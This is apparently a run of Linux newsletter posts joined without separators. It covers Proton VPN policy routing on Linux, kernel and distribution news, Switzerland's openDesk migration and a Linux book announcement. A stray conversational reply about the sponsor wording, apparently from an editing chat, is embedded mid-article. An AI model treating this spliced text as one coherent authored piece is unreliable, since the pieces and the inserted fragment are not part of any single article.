Notice that thelocalrule is still sitting at the top:

0: from all lookup local

That rule handles traffic destined for the Linux machine itself, such as traffic to one of its own addresses or locally hosted services. Proton hasn’t changed its priority because that traffic shouldn’t be redirected into the VPN tunnel.

The interesting changes for us are the two new rules immediately below it.

Now we’re getting somewhere.

Proton has added two policy-routing rules:

31618:  from all lookup main suppress_prefixlength 0
31619:  not from all fwmark 0xea13b2c lookup 245447468

And one of those rules references a routing table we didn’t have to think about before:

245447468

Let’s see what’s inside it.

$ ip route show table 245447468

And there it is:

default dev proton0 proto static scope link metric 50

This is an important part of what Proton has changed.

Instead of replacing the default route in our main routing table, Proton has created a separate routing table containing a default route through proton0.

NOTE: You might also notice that the default route through proton0 has a metric of 50, which is lower than the metrics of 100 and 600 on our physical default routes. However, don’t conclude that proton0 is selected simply because it has the lowest metric. These routes live in different routing tables. The policy-routing rules determine which table gets consulted, and then the routes within the relevant table participate in that lookup.

We can visualize the relevant pieces like this:

A quick word about Proton VPN

This article is made possible by Proton VPN.

Proton VPN has apps for Linux, Windows, macOS, Android, iOS, and more, plus a Linux CLI for those who prefer the terminal. Its apps are open source and independently audited, and it supports multiple VPN protocols, including WireGuard, OpenVPN, and its own Stealth protocol.

Proton has also provided an exclusive discount for SYSXPLORE readers:65% off the 2-year VPN Plus plan or 55% off the 1-year VPN Plus plan when you sign up through the link below.

Try Proton VPN

Now, back to our routing table.

The policy-routing rules determine when Linux should consult that additional table.

There is another interesting detail in this rule:

not from all fwmark 0xea13b2c lookup 245447468

Linux packet marks, or fwmark (firewall marks), can be used together with policy routing to make different routing decisions for different packets.

In this case, traffic that does not carry the specified mark can be directed to table 245447468, where the default route points to proton0.

We’ll come back to why some traffic needs to be treated differently in the next article. That detail becomes very important when we ask how the VPN tunnel itself reaches the Proton VPN server.

For now, let’s ask Linux the same question we asked before connecting:

$ ip route get 1.1.1.1

Before the VPN:

1.1.1.1 via 172.16.1.1 dev enp2s0 src 172.16.1.17 uid 1000
    cache

After connecting to Proton VPN:

1.1.1.1 dev proton0 table 245447468 src 10.2.0.2 uid 1000
    cache

There it is.

The destination hasn’t changed.

We’re still asking Linux how it would reach 1.1.1.1.

But the routing decision has completely changed.

Before connecting to Proton VPN, Linux selected enp2s0, used 172.16.1.17 as the source address and sent the packet toward our physical default gateway at 172.16.1.1.

After connecting, Linux selects proton0 from routing table 245447468 and uses 10.2.0.2 as the source address.

But now we have a problem.

proton0 is not an Ethernet cable or a Wi-Fi adapter. There is no physical network connected to it.

And yet Linux is telling us to reach 1.1.1.1 go through proton0

So what exactly is proton0?

And perhaps more importantly, if Linux sends our packet into this virtual interface, how does that packet eventually leave the computer through the physical enp2s0 interface and travel across the Internet to the Proton VPN server?

That’s what we need to figure out next.

The VPN Interface Is Not a Physical Interface

We now know that after connecting to Proton VPN, Linux routes our traffic toward proton0.

1.1.1.1 dev proton0 table 245447468 src 10.2.0.2

But proton0 is very different from the other interfaces on our machine.

Our Ethernet interface, enp2s0, represents actual network hardware. It connects our machine to the local network and ultimately gives us a path to the Internet through our default gateway.

This physical network path already existed before we connected to Proton VPN. In VPN terminology, we can think of this existing network connectivity as the underlay.

The VPN tunnel is built on top of that connectivity.

One clue that proton0 is different was sitting right in our ip addr output:

5: proton0: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1420 ...
    link/none
    inet 10.2.0.2/32 scope global noprefixroute proton0

Compare that with our physical Ethernet interface:

enp2s0
    link/ether c8:53:09:8c:57:a9

enp2s0 has an Ethernet MAC address because it represents an Ethernet network interface.

proton0, on the other hand, shows:

link/none

There is no Ethernet link behind it.

proton0is the virtual WireGuard interface created for our Proton VPN connection.

Unlikeenp2s0, it doesn’t represent a physical network adapter connected to a cable or wireless network. It exists in software and provides the Linux networking stack with an interface through which IP packets can enter the WireGuard tunnel.

You can think of the relationship between the two interfaces as an overlay running on top of an underlay:

The underlay gives us the network connectivity needed to reach the Proton VPN server.

The overlay gives our IP traffic a new logical path through the VPN.

This distinction is important because when Linux decides to send traffic destined for1.1.1.1throughproton0, the packet does not somehow travel across the Internet through a physicalproton0connection.

The VPN tunnel still depends on the physical network underneath it. Our machine needsenp2s0, our default gateway at172.16.1.1, and our existing Internet connection to communicate with the Proton VPN server.

And this brings us right back to the question we started with.

If Linux routes a packet destined for1.1.1.1intoproton0, but the tunnel itself depends on the physical network to reach the Proton VPN server,how does the packet actually move between those two worlds?

Answering that means going deeper into what happens to the packet itself: encryption, encapsulation, inner and outer IP headers, and how the overlay is carried across the underlay.

That’s where we’ll pick things up in the next article,Life of a Packet Through a VPN.

We’ll follow a single packet as it enters the VPN tunnel and see how the VPN traffic is carried across the physical network underneath it toward the Proton VPN server.

Along the way, we’ll finally unpack the encryption, encapsulation, inner and outer IP headers, and those routing details we deliberately left unexplained earlier.

31618:  from all lookup main suppress_prefixlength 0
31619:  not from all fwmark 0xea13b2c lookup 245447468

For now, the important thing is that connecting to the VPN didn’t replace the physical network underneath our Linux machine.

It added a new logical path on top of it.

Wrapping Up

We started with a simple question:what happens to Linux networking when you connect to a VPN?

As we’ve seen, quite a lot.

What appears to the user as a simpleConnectbutton resulted in a new virtual WireGuard interface, a separate routing table, and new policy-routing rules that changed the path Linux chooses for our Internet traffic.

And we’ve only followed that path as far asproton0.

In the next article, we’ll step inside the tunnel and follow the packet the rest of the way.

Until then, keep exploring and subscribe to get notified when new guides are published.

Subscribe now

Linux 7.3-rc5 was released on September 27 with another substantial collection of fixes.

Less than one-third of the changes involve drivers, while approximately one-quarter consists of self-tests. The remaining work includes KVM and architecture corrections, scheduler changes, BPF fixes and networking updates. Linus Torvalds described the distribution of changes as unusual, although not necessarily concerning.

Several memory-management fixes carry direct operational importance. One corrects an Arm64 DAMON bug capable of writing beyond a page-table page, potentially causing memory corruption or crashes. Another fixes an mremap()calculation problem that could panic x86-64 systems using huge pages.

Networking fixes cover Bluetooth, NFC and Netfilter, alongside corrections for IPv6 route leaks, VRF packet checksums, UDP socket handling and packet transmission.

The continued size of the release candidates means Linux 7.3 is still receiving meaningful corrections relatively late in its cycle. Administrators should therefore treat its early performance results as provisional and avoid planning production deployments around an expected release date alone.

An experimental project shares NVIDIA GPUs between KVM guests

A new project called virtio-nvgpu is experimenting with near-native NVIDIA GPU access inside Linux KVM virtual machines.

Instead of assigning the entire GPU to one VM through VFIO, the project keeps the card attached to the host and forwards NVIDIA driver operations across a virtio interface. Guests run NVIDIA’s existing user-space libraries, including Vulkan and NVENC components.

Testing on an RTX 3060 reportedly placed normal GPU-bound rendering within approximately 2% of bare-metal performance. The developers also demonstrated four guests rendering and encoding video simultaneously on one card.

The important limitation is isolation. Guests currently interact with the host NVIDIA driver without a separate IOMMU boundary. Some operations remain unfiltered, and the planned per-guest sandbox has not been implemented. The developers explicitly recommend VFIO or established vGPU technology when tenants do not trust one another.

This makes virtio-nvgpu technically interesting but unsuitable for production multi-tenant infrastructure today. Its larger significance is architectural: it suggests that inexpensive NVIDIA cards could eventually support efficient VM sharing without dedicating an entire GPU to every guest or requiring enterprise vGPU licensing.

Critical NetScaler zero-days are being actively exploited

CISA added two critical Citrix NetScaler ADC and Gateway vulnerabilities—CVE-2026-88771 and CVE-2026-88772—to its Known Exploited Vulnerabilities catalogue on September 27.

These appliances commonly sit at the edge of enterprise networks, providing VPN, authentication and application-delivery services. Successful compromise therefore gives attackers a valuable position before they encounter most internal security controls.

Administrators running affected NetScaler appliances should treat the vendor’s mitigations and updates as emergency work. Internet-facing management interfaces should also be reviewed, logs preserved and appliances examined for indicators of compromise rather than assuming that installing a patch removes an attacker who may already have gained access.

The lesson extends beyond Citrix: perimeter appliances are effectively security infrastructure and servers at the same time. They require asset ownership, rapid patching and compromise assessment—not merely occasional firmware maintenance.

Subscribe now

That’s it. If you found this useful, please leave a like, subscribe if you haven’t already, and share it with someone who might enjoy it too.

Until next time, keep exploring.

Rust Coreutils 0.12.0 arrived on September 17 with every compatibility problem prioritized by Ubuntu now fixed.

These included possible data loss during parallel install -D operations, cp -R name collisions, recursive chmodbehaviour through symlinks and a deeply nested directory crash in rm.

Security hardening also landed across ls, sort, install, rm, chmod, chown and chgrp. The project now passes 653 of the 674 GNU tests it runs, leaving 21 failures.

Ubuntu’s decision to ship uutils makes behavioural compatibility operationally important. Shell scripts often depend on exact exit codes, undocumented details and decades-old GNU behaviour.

Administrators adopting Ubuntu 26.10 should carefully test backup, deployment and provisioning scripts.

Fedora 45 Beta introduces stricter package verification

Fedora Linux 45 Beta was released on September 15.

RPM now rejects packages without a valid signature by default unless an administrator explicitly overrides the check. This strengthens Fedora’s package trust boundary, but local RPMs, internal repositories and automated installation systems may fail until their signing processes are updated.

Fedora also restricts ptrace permissions for unprivileged users, replaces the kernel’s traditional fbcon virtual console with the userspace kmscon, and standardizes desktop secret storage around oo7.

Fedora CoreOS gains zRAM swap and systemd-oomd, introducing active memory-pressure management to the container-focused edition.

The release also includes Podman 6, GCC 16.2, glibc 2.44, Python 3.15 and Go 1.27.

Linux 7.3-rc4 fixes user-facing regressions

Linux 7.3-rc4 arrived on September 20 with fixes across filesystems, drivers and the x86 architecture.

A Btrfs change introduced during Linux 7.2 made f_fsid unstable across kernel updates and reboots. Applications using that identifier for credential encryption could lose access to stored data. NetworkManager’s OpenConnect integration was among the affected applications.

The fix restores the filesystem UUID-based calculation.

Another correction restores /dev/root detection for Btrfs systems using GRUB without an initramfs.

On Intel Xeon 6 Granite Rapids systems, the kernel will also prevent unsafe microcode upgrade sequences capable of triggering a machine-check exception.

These fixes show why kernel-upgrade testing should include VPN credentials, boot paths and application behaviour alongside conventional filesystem checks.

Systemd 262 prepares smaller containers

Systemd 262 reached RC3 on September 15.

PID 1 now embeds a minimal collection of essential unit files and can be built as a statically linked multicall binary. This allows very small containers to run systemd without installing the usual collection of unit files.

Systemd also gains RestartRandomizedDelaySec=, which spreads automatic restarts across time and helps prevent synchronized restart storms.

TPM-sealed credentials are now pinned to the TPM’s Storage Root Key, strengthening their protection against interposer attacks.

Administrators should watch several compatibility changes:

• One-shot D-Bus registrations of DNS-SD services now disappear when the registering client disconnects.

• journalctl -F rejects filters it previously accepted and silently ignored.

• TPM credentials created with the new release cannot be opened by older systemd versions, affecting rollback procedures.

Gzip 1.15 fixes a race capable of deleting the wrong file

GNU gzip 1.15 was released on September 20 with fixes for several long-standing correctness problems.

The most consequential correction addresses a race in which gzip could delete the wrong file if another process renamed an ancestor directory while gzip was replacing its output.

The release also fixes uninitialized-memory use, a buffer overflow involving sequential .Z and .lzh decompression, and corruption during some successive LZH operations.

Gzip sits inside backup jobs, log rotation, package creation and deployment pipelines. Administrators should track updates from their distributions because older package versions may receive the fixes through backports.

Subscribe now

That’s it. If you found this useful, please leave a like, subscribe if you haven’t already, and share it with someone who might enjoy it too.

Until next time, keep exploring.

The project will introduce openDesk across 3,000 federal workstations by the end of 2027. These computers represent around 7% of the 54,000 machines used throughout the Swiss federal administration.

The migration follows a proof of concept involving 172 federal employees. Participants tested whether an open-source workplace could handle everyday tasks currently performed through Outlook, Teams, Word, Excel and other Microsoft 365 services.

The results were promising enough for the Swiss Federal Council to approve a much larger rollout.

Microsoft 365 will continue operating alongside openDesk during the pilot. This gives employees access to their existing tools while the government tests the new platform under real working conditions.

The wider goal is digital sovereignty: giving Switzerland greater control over the software, infrastructure and data used to run its public administration.

What Switzerland is moving to

The platform selected for the pilot is called openDesk.

It was developed for public-sector organisations by the German Centre for Digital Sovereignty, known as ZenDiS. Instead of attempting to reproduce the complete Microsoft 365 platform through one enormous application, openDesk brings several established open-source projects together into an integrated workplace.

Its components include:

• Collabora Online for documents, spreadsheets and presentations

• Open-Xchange for email, calendars and contacts

• Nextcloud for file storage, synchronisation and sharing

• Element and Matrix for messaging and direct calls

• Jitsi for video conferences

• OpenProject for project management

• XWiki for documentation and knowledge management

• CryptPad for collaborative diagrams

• Nubus for identity and access management

Employees access these services through a common portal with centralised authentication.

This gives government organisations a complete collaboration environment while preserving the ability to operate the software on infrastructure they control.

The first test involved 172 employees

Switzerland began with a smaller proof-of-concept project known as PoC BOSS.

A group of 172 federal employees used openDesk for common office tasks, including email, document processing and collaboration. The trial examined whether the platform could support daily government work and provide a practical alternative to Microsoft’s cloud services.

Document editing and email received positive assessments.

Large video conferences still presented technical limitations. Microsoft Teams has benefited from years of development and deployment across large organisations, so matching its performance and integration will require additional work.

The federal government still considered the overall trial successful.

The next phase expands the test from 172 people to 3,000 workstations, creating a much better picture of how openDesk performs at scale.

😂 Yes, it’s good. The “sponsor, which is me” line gives it personality and makes the self-promotion feel natural instead of forcing an ad into the article.

I’d only remove the emoji from my version and keep your original joke clean:

A quick word from the sponsor

This article is made possible by our sponsor, which is me.

If you’ve been struggling with Linux and everything still feels confusing, look no further. I wrote this Linux Bible specifically for you.

First Steps with Linux takes you from knowing absolutely nothing about Linux to becoming a confident Linux user and sysadmin.

Available in both paperback and Kindle.

Check it out

Why spend $11 million on open-source software?

Open-source software can be downloaded without paying a traditional proprietary licence, but a government migration still requires substantial investment.

Switzerland must deploy and operate the infrastructure, integrate it with existing systems, migrate accounts and data, configure identity management, train employees, provide technical support and maintain the environment.

Documents and workflows developed around Microsoft formats also need to remain usable. Macros, templates, calendars, shared mailboxes and business processes can create compatibility problems long after the applications themselves have been installed.

The 9 million Swiss franc budget supports this transition.

Software freedom gives the government more control over the platform. Achieving that control requires engineers, infrastructure, testing and long-term maintenance.

The project’s success will depend on whether openDesk can become a dependable working environment for thousands of employees.

Digital sovereignty is driving the migration

Governments increasingly depend on a small group of foreign technology companies for email, documents, communication, identity management and cloud storage.

This concentration creates a strategic concern.

When a public institution moves its work into a proprietary cloud platform, the provider controls important parts of the underlying technology. The institution must follow the vendor’s product changes, licensing conditions, pricing decisions and technical roadmap.

The provider may also fall under laws from another country.

Microsoft is based in the United States and is subject to American legislation, including the CLOUD Act. Under certain legal processes, US authorities can require American companies to provide access to data under their control, including some information stored in overseas data centres.

Keeping data inside Switzerland can address its physical location. Control over the provider and encryption keys determines who may ultimately gain access to it.

Swiss data-protection authorities have previously warned public bodies about using international cloud services for highly sensitive information when the provider can access the data or its encryption keys.

An independently operated open-source platform gives the government more control over where information is stored, who operates the infrastructure and how the software handles that information.

Open source gives Switzerland more options

Access to source code allows an organisation to inspect software, adapt it and choose who provides technical support.

It also makes switching infrastructure providers more practical.

A government using openDesk could operate it internally, contract a Swiss provider or move it between compatible hosting environments. The availability of the software’s code and deployment architecture creates more room to make those choices.

OpenDesk also uses widely deployed projects such as Nextcloud, Collabora, Matrix and Jitsi. Switzerland can benefit from their existing communities while contributing improvements that other public institutions may reuse.

This can turn government technology spending into shared digital infrastructure.

When several European governments need secure document collaboration, messaging and file storage, they can cooperate around common open-source components instead of purchasing separate proprietary platforms indefinitely.

The migration will be gradual

Replacing office software across a government requires more than installing different applications.

Employees build years of habits around familiar menus, shortcuts and workflows. Departments may depend on complex spreadsheets, Microsoft-specific document formatting, Outlook integrations and automated processes written for the existing environment.

External organisations may also continue sending Microsoft Office documents that must open and render correctly.

Switzerland’s parallel deployment allows employees to test openDesk without immediately losing access to Microsoft 365. Administrators can identify incompatibilities, improve training and determine which departments are suitable for migration.

By the end of 2027, the government should have enough information to decide whether the platform can expand beyond the initial 3,000 computers.

A successful pilot could eventually influence the remaining federal workstations.

Switzerland’s military is moving faster

The Swiss military is conducting a separate migration on a faster schedule.

Its Cyber Command is expected to move away from Microsoft 365 collaboration services and complete its transition to openDesk by October 2026.

Military communications and operational information carry particularly strict sovereignty requirements. Control over infrastructure, software updates and data access becomes an essential security consideration in that environment.

The military migration will provide another large-scale test of openDesk and may reveal lessons that help the civilian federal administration.

Europe is building alternatives to foreign cloud platforms

Switzerland’s project forms part of a wider European movement toward digital sovereignty.

Germany created ZenDiS to help public authorities adopt open-source software and reduce their dependence on individual vendors. The organisation now develops and coordinates openDesk as a reusable workplace for government institutions.

France has also invested in domestic and open-source collaboration tools. The European Union continues to examine how critical public infrastructure can remain under European legal and operational control.

These projects reflect a growing understanding that office software has become part of national infrastructure.

Government employees use these platforms to exchange documents, discuss policies, schedule meetings and store institutional knowledge. Losing access to them, facing sudden licensing changes or depending on decisions made by a foreign provider can affect the operation of the state.

Open-source platforms provide another path, particularly when governments cooperate on their development and maintenance.

The pilot will reveal the real cost of independence

The $11 million investment will attract attention because open-source software is often described as free.

The more useful question is what Switzerland receives from that investment.

The government is paying to develop the skills, infrastructure and operational capacity required to control its own digital workplace. It is also creating leverage by proving that another platform can perform at least part of the work currently handled by Microsoft 365.

Even a partial migration can reduce dependency and strengthen the government’s position when negotiating future cloud and software contracts.

The pilot will also reveal where openDesk still needs improvement. Video conferencing, document compatibility, user training and integration with existing systems are likely to determine how far the migration can expand.

By the end of 2027, Switzerland should know whether openDesk can support a much larger portion of its federal workforce.

The most important result may extend beyond the number of computers migrated. Switzerland is investing in the ability to choose how its public administration operates, where its data lives and which organisations control the tools behind it.

That ability is becoming a central part of digital sovereignty.

That’s it. If you found this useful, please leave a like, subscribe if you haven’t already, and share it with someone who might enjoy it too.

Until next time, keep exploring.

Subscribe now

The first release candidate arrived on August 30, closing the merge window and beginning the testing phase. The major features expected to appear in the final release have now landed.

Many of the improvements focus on keeping Linux responsive when the system is busy.

That includes filesystems processing large amounts of I/O, applications competing for CPU time, servers operating under memory pressure and latency-sensitive workloads waiting for other processor cores.

Each improvement targets a particular bottleneck, so the results will depend heavily on the hardware and workload. Together, they show how Linux is becoming better at handling demanding conditions.

Btrfs receives substantial performance improvements

Btrfs is one of the biggest beneficiaries of Linux 7.3.

One of the most important changes affects Direct I/O. This allows applications to read and write data while bypassing the normal filesystem page cache. Databases and other storage-intensive applications often use it because they already manage their own caching.

Direct I/O has strict alignment requirements. Some Btrfs operations that failed to meet them previously moved to the buffered I/O path, limiting how much of the storage device’s available throughput the workload could use.

Linux 7.3 introduces an IOmap bounce-buffer mechanism that keeps more operations on the Direct I/O path. According to the Btrfs pull request, testing increased the achievable throughput from around half of the theoretical maximum to approximately 95%.

Btrfs also receives improvements to its logging and fsync() paths.

One change removes an unnecessary delay when several tasks attempt to perform logging operations concurrently. Another avoids searching for holes during a full fsync() when the kernel already knows that the file contains many extents and contains no holes.

The affected tests recorded improvements of around three to five times. These gains apply to specific filesystem operations, so the effect will vary between Btrfs workloads.

The default free-space cache is also moving from version 1 to the newer free-space tree. This implementation stores free-space information inside the Btrfs metadata tree and provides better reliability and scalability on large filesystems.

Administrators running Btrfs will receive most of these improvements automatically when Linux 7.3 reaches their distributions.

EXT4 and IOmap get faster on modern NVMe storage

EXT4 also receives several storage improvements.

The filesystem can now allow more parallel Direct I/O writes in situations where those operations were previously serialized. Its multi-block allocator also avoids some unnecessary work when applications use fallocate() to reserve space.

Below the filesystem itself, Linux 7.3 contains a significant reworking of IOmap, the kernel infrastructure used by filesystems to map file operations onto storage.

The new implementation uses a single callback that the compiler can inline, reducing overhead on a particularly busy I/O path.

The difference becomes more visible on very fast storage, where software processing can limit how quickly the operating system feeds requests to the device. In the submitted IOmap testing, EXT4 performance increased from approximately 1.92 million to 2.19 million IOPS on fast NVMe storage.

That represents an improvement of around 14% in the tested workload.

The result shows how refinements inside the kernel can help filesystems take better advantage of increasingly fast storage hardware.

CPU scheduling gets smarter

Linux 7.3 also includes important scheduler work.

Linux distributes runnable tasks across a hierarchy of scheduling groups. This supports features such as control groups, but repeatedly walking that hierarchy can introduce overhead and produce less consistent scheduling decisions.

The new “flatten the pick” work simplifies parts of that process by allowing the scheduler to select tasks from a flatter run queue.

Testing on an older Intel Sandy Bridge system paired with a Radeon RX 580 showed improvements in both frame rates and frame-time consistency while gaming.

Frame-time consistency determines how smoothly individual frames appear. An inconsistent delivery rate can make a game feel choppy even when its average frame rate appears reasonable. Reducing scheduling delays can create a smoother experience, particularly on older and CPU-constrained systems.

Linux 7.3 also improves scheduling on Intel hybrid processors containing both Performance and Efficiency cores.

These processors require the scheduler to decide when a task should run and which kind of core should handle it.

Previous cluster-aware scheduling behaviour did not always represent Intel’s hybrid topology correctly. The new scheduler work improves that handling across processors including Alder Lake, Lunar Lake and Panther Lake.

This should improve task placement when demanding applications and background processes compete for different kinds of CPU cores.

Fewer stalls under memory pressure

Some of the most dramatic Linux 7.3 numbers come from memory-management fixes.

Kernel Samepage Merging, or KSM, allows identical memory pages to be combined. It is particularly useful in virtualization environments where several virtual machines may contain the same operating-system data.

Before merging or modifying these pages, the kernel sometimes needs to determine which virtual memory areas reference them. Under heavy memory pressure, a problem in this reverse-mapping process could hold an internal lock for hundreds of milliseconds.

Anything else waiting for that lock had to stop.

In the affected test, the worst delay reached approximately 700 milliseconds. The Linux 7.3 fix reduced it to below two milliseconds.

For virtualized systems and workloads using KSM under pressure, this could translate into fewer unexplained pauses.

Another improvement reduces locking contention inside zsmalloc, the memory allocator used by zRAM and Zswap to store compressed pages.

When many processes released compressed memory simultaneously, they could contend for the same locks. The new implementation distributes some of that work more effectively.

A Raspberry Pi 4B showed improvements of up to 1.83 times in the submitted test, while a 20-core Intel system reached up to 1.4 times.

The larger improvement on the Raspberry Pi is particularly interesting. Compressed memory is commonly used on devices with limited RAM, which is also where unnecessary allocator overhead becomes especially noticeable.

Executed programs stay in memory longer

Linux 7.3 also changes how Multi-Gen LRU treats executable pages.

Multi-Gen LRU helps the kernel decide which memory pages are actively being used and which can be reclaimed when memory becomes scarce.

Mapped executable pages could previously be reclaimed too aggressively, even after the code had recently been executed. If the application needed that code again, the system had to read it back from storage.

Linux 7.3 promotes these pages after their first use, making frequently executed code less likely to be selected immediately for reclaim.

In testing on a deliberately memory-constrained 32-core Arm build system, system CPU time fell from 9,248 seconds to approximately 7,862 seconds. A similar improvement was observed on x86.

The benefit should be most visible on oversubscribed virtual machines, dense container hosts and build systems where executable code regularly competes with application data for memory.

Lower latency for real-time and networking workloads

Another Linux 7.3 change targets communication between processor cores.

When one CPU asks other CPUs to perform work using an inter-processor interrupt, it may need to wait for those processors to complete the request. The kernel previously kept preemption disabled for the entire operation, including while waiting for remote CPUs to respond.

That could create substantial latency spikes. A high-priority task ready to run on the waiting CPU had to wait until the operation finished.

Linux 7.3 allows preemption to be re-enabled during the waiting period. The CPU can therefore run another eligible task while the request completes.

In testing with the Data Plane Development Kit, or DPDK, P99 latency dropped from approximately 17 milliseconds to 1.5 milliseconds. That represents a reduction of around 90%.

The change is especially relevant to packet processing, telecommunications and real-time workloads where predictable response time is essential.

A server may process a large number of requests per second while a small percentage experience long delays. This improvement helps reduce those latency spikes.

What Linux 7.3 improves

The performance story of Linux 7.3 comes from several targeted changes across the kernel:

• Btrfs avoids slow paths during important Direct I/O and fsync() operations.

• EXT4 and IOmap reduce overhead on fast storage.

• The scheduler makes better decisions on constrained and hybrid CPUs.

• Memory-management fixes remove long stalls under pressure.

• zRAM and Zswap handle concurrent memory operations more effectively.

• SMP changes reduce latency for high-priority workloads.

These improvements will appear in different places and under different conditions. A desktop user may notice smoother frame delivery. A database server may benefit from faster filesystem operations. A container host may experience fewer memory-related stalls. A packet-processing system may see much lower tail latency.

Linux 7.3-rc1 is currently in the testing stage. Features can still be adjusted, and regressions may be discovered before the stable release arrives.

Once Linux 7.3 is stable, most users will receive it through their distributions. Administrators can then test it against their own hardware and workloads to determine which improvements apply to their environments.

Linux 7.3 focuses on the bottlenecks that appear when systems are busy: storage contention, memory pressure, CPU scheduling and latency. These improvements target the conditions where performance matters most.

If you found this useful, please leave a like, subscribe if you haven’t already, and share it with someone who might enjoy it too.

Subscribe now

Until next time, keep exploring.

Kubernetes 1.37 changes control-plane resilience and workload identity

Kubernetes 1.37 was released on August 26 with 67 enhancements. The most important changes are operational rather than cosmetic.

API-server watch-cache initialization can now reject excess requests with HTTP 429 instead of allowing recovery traffic to overwhelm etcd. Memory QoS is now Beta and enabled by default, although its conservative defaults avoid immediately throttling existing workloads.

Pod Certificates and Cluster Trust Bundles also bring native X.509 workload identity into Kubernetes. This gives workloads a built-in mechanism for obtaining short-lived certificates and discovering the trust bundles needed to verify other services.

SELinux volume mounting now prefers mount-time labels when supported by the CSI driver. This can improve performance, but it also introduces a potential compatibility issue: pods using different SELinux labels may fail to start when sharing the same volume on one node.

HPA scale-to-zero is now Beta and enabled by default for workloads using external or object metrics. The Metrics API has also finally reached stable v1, although the Horizontal Pod Autoscaler still consumes v1beta1 in this release.

Official Kubernetes 1.37 announcement
Pod Certificates and Cluster Trust Bundles
Metrics API transition details

Why it matters

Kubernetes is moving beyond basic container orchestration into workload identity, memory management and failure containment.

The new HTTP 429 behavior is particularly important. During control-plane recovery, custom controllers that retry requests aggressively can make the situation worse. Kubernetes can now protect etcd from some of that traffic, but operators still need to ensure their controllers implement proper retry and backoff behavior.

Before upgrading, administrators should test custom controllers, metrics-server compatibility and workloads that share storage across different SELinux contexts.

Native X.509 workload identity is another important step. Service-account tokens are useful, but they were never going to be the complete answer for service-to-service trust inside Kubernetes. Pod Certificates bring certificate-based authentication closer to the core platform.

Debian rejected both an AI ban and mandatory disclosure

On August 29, Debian developers selected the “Responsible Use of Generative AI” option in a project-wide vote.

Debian will neither endorse nor prohibit AI-assisted contributions. Contributors remain responsible for understanding, reviewing, testing and legally justifying everything they submit, regardless of which tools helped produce it.

Disclosure of AI use is encouraged but not required.

The resolution also warns contributors against sending private information, credentials or embargoed security details to third-party AI services. Prior discussion is required before using automated systems for mass bug filing, patch submission or other project-wide activity.

Official Debian vote and full resolution
Published voting results

Why it matters

Debian chose to judge contributions by their quality and hold the person submitting them accountable.

Tools do not sign uploads. People do.

That is a practical position because enforcing a complete ban would be nearly impossible. Mandatory disclosure would also introduce a rule that depends heavily on contributors reporting their own tool usage accurately.

However, voluntary disclosure does not solve the additional review burden placed on maintainers. A polished contribution can still contain fabricated explanations, subtle regressions or code the submitter does not properly understand.

Debian’s decision makes the responsibility clear: using AI does not transfer accountability away from the contributor.

Linux 7.3 enters testing with better memory-pressure handling

Linux 7.3-rc1 was released on August 30, closing another large kernel merge window.

Roughly one-third of the raw diff comes from AMD’s new DCN6 GPU register definitions, so the amount of changed code makes the release appear functionally larger than it really is.

Linus Torvalds’ release announcement
Official Linux kernel archive

One of the more interesting sysadmin-facing changes is an improvement to Multi-Gen LRU, or MGLRU, memory reclaim.

Mapped executable pages are now promoted after their first use. This makes frequently executed code less likely to be reclaimed and later reread from storage when the system is under heavy memory pressure.

In the submitted benchmarks, system CPU time fell from 9,248 seconds to 7,862 seconds on a deliberately constrained 32-core Arm build system. A similar improvement was demonstrated on x86.

Maintainer patch discussion and benchmark

Why it matters

This change could benefit oversubscribed virtual machines, dense container hosts and memory-constrained build systems where executable pages compete aggressively with application data.

It should not be interpreted as a universal 15% performance improvement. The tests deliberately created extreme memory contention, and lightly loaded systems may see little difference.

Still, it reflects where a lot of interesting kernel performance work is now happening. Modern systems are already fast when resources are plentiful. The harder problem is making them behave well when memory, CPU time and storage bandwidth are under pressure.

Better reclaim decisions can make an overloaded server less wasteful, but they remain a complement to proper capacity planning rather than a replacement for it.

That’s it. If you found this useful, please leave a like, subscribe if you haven’t already, and share it with someone who might enjoy it too.

Until next time, keep exploring.

Subscribe now

The last time I wrote here, I was announcing the release of First Steps With Linux after nearly two years of writing.

Since then, things haven’t exactly slowed down.

I’ve continued improving the book, updating chapters, redesigning diagrams, releasing a Dark Edition, and working on something many readers had been asking for from the very beginning.

A paperback.

Today I’m happy to finally say:

First Steps With Linux is now available in paperback.

Holding the finished copy in my hands for the first time was surreal.

After spending thousands of hours writing, editing, redesigning diagrams, and refining explanations, seeing it as a real book made all those late nights worth it.

I’m incredibly proud of how it turned out.

It wasn’t as simple as pressing “Print”

I assumed turning the manuscript into a paperback would be the easy part.

I was wrong.

Finding a publisher that could actually print a technical book of this size took far longer than I expected. After trying several options, I eventually settled on Amazon KDP.

Then another challenge appeared.

The manuscript exceeded KDP’s page limit for the trim size I originally wanted.

The obvious solution was to split the book into two separate volumes.

I didn’t want to do that.

From day one, the vision was simple.

Everything in one book.

One book you can keep on your desk.

One place to learn Linux from the ground up and keep coming back to as your skills grow.

So instead of splitting it, I went back and reworked the layout page by page. I adjusted spacing, optimized the formatting, and removed every bit of unnecessary whitespace until the manuscript finally fit within the printing limits.

I also chose a larger 8.5 × 11-inch format. It meant giving up some of Amazon’s distribution options, but I was happy to make that trade.

Having the complete book in a single volume mattered more to me than wider distribution.

It took far longer than I expected.

But it was worth every minute.

Where to get the paperback

If you’ve been waiting for a physical copy, it’s finally here.

You can get your copy on Amazon:

Get the Paperback

More than just another Linux book

When I started writing First Steps With Linux, my goal wasn’t simply to write another Linux guide.

I wanted to create a resource that teaches Linux as a system—not just as a collection of commands.

Something that helps readers connect the dots, build confidence, and understand why things work the way they do.

Seeing that idea become a physical book has been one of the most rewarding moments of my career.

Thank you

This newsletter has played a much bigger role in this project than you might realize.

Many of the explanations in the book were inspired by questions from readers.

Many of the diagrams started as ideas for articles published here.

And many improvements came directly from the feedback you shared over the years.

So thank you.

Your support helped shape this book from the very beginning.

What’s next?

Now that the paperback is finally out, I can get back to doing what started all of this.

Writing.

It’s been a little quiet around here, and I appreciate everyone who stuck around while I was focused on the book.

I’ve got a long list of Linux deep dives, tutorials, and behind-the-scenes articles I’ve been wanting to write, and I’m looking forward to publishing regularly again.

I’ve also been thinking about expanding the newsletter a little. Alongside Linux articles, I’d like to start sharing certification preparation material for readers working towards RHCSA, CompTIA Linux+, and LFCS. I also plan to occasionally branch into networking, firewalls, and other infrastructure topics that naturally complement Linux.

The goal hasn’t changed.

To create practical, beginner-friendly content that helps you build real-world skills and become a more confident Linux and systems professional.

Thank you for reading, and I’ll see you in the next one.

You install the software, open the interface, create a new virtual machine, attach an ISO, and go through the operating system installation step by step.

It works.

